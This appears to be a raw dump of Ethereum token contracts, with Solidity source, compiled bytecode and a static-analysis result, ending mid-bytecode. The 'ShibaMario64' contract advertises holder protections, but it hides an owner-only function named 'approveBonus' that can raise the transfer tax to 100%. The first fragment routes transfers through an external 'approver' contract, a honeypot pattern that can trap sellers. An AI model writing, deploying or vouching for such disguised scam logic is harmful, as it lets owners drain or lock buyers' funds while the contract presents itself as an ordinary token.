* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb5780639dc29fac14610200578063a9059cbb14610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906109af565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610963565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610927565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af3660046108d9565b50600090565b3480156101c157600080fd5b5061013a6101d03660046108d9565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100ac61021b366004610963565b61053c565b34801561022c57600080fd5b506100f961023b366004610963565b6105c6565b34801561024c57600080fd5b5061013a61025b3660046108f4565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6003805461029390610a33565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf90610a33565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b1565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d1565b6001600160a01b03841660009081526009602052604090205461045490836106b1565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b1565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610834565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b6001805461029390610a33565b6000546001600160a01b0316331461055357600080fd5b6001600160a01b0382166105b85760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b6105c2828261084f565b5050565b6004546000906001600160a01b0384811661010090920416141561061a5760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105af565b3360009081526009602052604090205461063490836106b1565b33600090815260096020526040808220929092556001600160a01b038516815220546106609083610834565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000828211156106c057600080fd5b6106ca8284610a1c565b9392505050565b6004546001600160a01b03828116610100909204161415806107a65750600854604051630c73320760e31b81526001600160a01b0384811660048301529091169063639990389060240160206040518083038186803b15801561073357600080fd5b505afa158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b919061098d565b15156001148061078857506007546001600160a01b038381169116145b80156107a657506004546001600160a01b0382811661010090920416145b806107e857506004546001600160a01b03828116610100909204161480156107e857506006546001600160a01b03831660009081526009602052604090205411155b6105c25760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105af565b60006108408284610a04565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108779082610834565b6005556001600160a01b03821660009081526009602052604090205461089d9082610834565b6001600160a01b0390921660009081526009602052604090209190915550565b80356001600160a01b03811681146108d457600080fd5b919050565b6000602082840312156108eb57600080fd5b6106ca826108bd565b6000806040838503121561090757600080fd5b610910836108bd565b915061091e602084016108bd565b90509250929050565b60008060006060848603121561093c57600080fd5b610945846108bd565b9250610953602085016108bd565b9150604084013590509250925092565b6000806040838503121561097657600080fd5b61097f836108bd565b946020939093013593505050565b60006020828403121561099f57600080fd5b815180151581146106ca57600080fd5b600060208083528351808285015260005b818110156109dc578581018301518582016040015282016109c0565b818111156109ee576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a1757610a17610a6e565b500190565b600082821015610a2e57610a2e610a6e565b500390565b600181811c90821680610a4757607f821691505b60208210811415610a6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206b980719942cff812cede46ee13f39acb864200f6fecfe39159e5ddabe7af6da64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,631 |
0xbfcbe6e8e7b1ee9c9442dd7657a77c1ab48c108c | /*
ShibaMario64 (SHIBAMARIO)
Telegram: https://t.me/ShibaMario64
- Collect the best coins with ShibaMario64, coming to an Ethereum
near you!
- 5% Reflection to holders, Power Up!
- Anti-listing-bot, say no to Bowsers!
- No team tokens, everyone starts at level 1!
- Whale dumping protection, no invincible mode!
- Cooldown and tax on mass sells, go away Goomba!
- Initial token burn, Extra 1UP for all!
- Full liquidity provided and locked, Flower Power!
ShibaMario64 is a new DeFi protocol that gamifies yield farming
and provides everyone with the best chance to power up and collect
coins!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBAMARIO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "ShibuMario64";
string private constant _symbol = 'SHIBAMARIO';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function approveBonus(uint256 amt) external onlyOwner() {
require(amt <= 100, "Amount must be less than 100");
require(amt >= 0, "Amount must be greater than 0");
_teamFee = amt;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146105ad578063c3c8cd8014610672578063c9567bf914610689578063d543dbeb146106a0578063dd62ed3e146106db5761011f565b806370a08231146103ef578063715018a6146104545780638da5cb5b1461046b57806395d89b41146104ac578063a9059cbb1461053c5761011f565b8063273123b7116100e7578063273123b7146102e15780632eb0619014610332578063313ce5671461036d5780635932ead11461039b5780636fc3eaec146103d85761011f565b806306fdde0314610124578063095ea7b3146101b457806318160ddd1461022557806323b872dd146102505761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610760565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017957808201518184015260208101905061015e565b50505050905090810190601f1680156101a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c057600080fd5b5061020d600480360360408110156101d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b60405180821515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6107bb565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102c96004803603606081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b60405180821515815260200191505060405180910390f35b3480156102ed57600080fd5b506103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a5565b005b34801561033e57600080fd5b5061036b6004803603602081101561035557600080fd5b81019080803590602001909291905050506109c8565b005b34801561037957600080fd5b50610382610b88565b604051808260ff16815260200191505060405180910390f35b3480156103a757600080fd5b506103d6600480360360208110156103be57600080fd5b81019080803515159060200190929190505050610b91565b005b3480156103e457600080fd5b506103ed610c76565b005b3480156103fb57600080fd5b5061043e6004803603602081101561041257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce8565b6040518082815260200191505060405180910390f35b34801561046057600080fd5b50610469610dd3565b005b34801561047757600080fd5b50610480610f59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b857600080fd5b506104c1610f82565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105015780820151818401526020810190506104e6565b50505050905090810190601f16801561052e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054857600080fd5b506105956004803603604081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fbf565b60405180821515815260200191505060405180910390f35b3480156105b957600080fd5b50610670600480360360208110156105d057600080fd5b81019080803590602001906401000000008111156105ed57600080fd5b8201836020820111156105ff57600080fd5b8035906020019184602083028401116401000000008311171561062157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610fdd565b005b34801561067e57600080fd5b5061068761112d565b005b34801561069557600080fd5b5061069e6111a7565b005b3480156106ac57600080fd5b506106d9600480360360208110156106c357600080fd5b8101908080359060200190929190505050611825565b005b3480156106e757600080fd5b5061074a600480360360408110156106fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d4565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f53686962754d6172696f36340000000000000000000000000000000000000000815250905090565b60006107b16107aa611a5b565b8484611a63565b6001905092915050565b6000683635c9adc5dea00000905090565b60006107d9848484611c5a565b61089a846107e5611a5b565b61089585604051806060016040528060288152602001613f1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b611a5b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124859092919063ffffffff16565b611a63565b600190509392505050565b6108ad611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109d0611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a90576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064811115610b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416d6f756e74206d757374206265206c657373207468616e203130300000000081525060200191505060405180910390fd5b6000811015610b7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b80600d8190555050565b60006009905090565b610b99611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cb7611a5b565b73ffffffffffffffffffffffffffffffffffffffff1614610cd757600080fd5b6000479050610ce581612545565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d8357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dce565b610dcb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612640565b90505b919050565b610ddb611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f53484942414d4152494f00000000000000000000000000000000000000000000815250905090565b6000610fd3610fcc611a5b565b8484611c5a565b6001905092915050565b610fe5611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015611129576001600760008484815181106110c357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110a8565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116e611a5b565b73ffffffffffffffffffffffffffffffffffffffff161461118e57600080fd5b600061119930610ce8565b90506111a4816126c4565b50565b6111af611a5b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156112f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c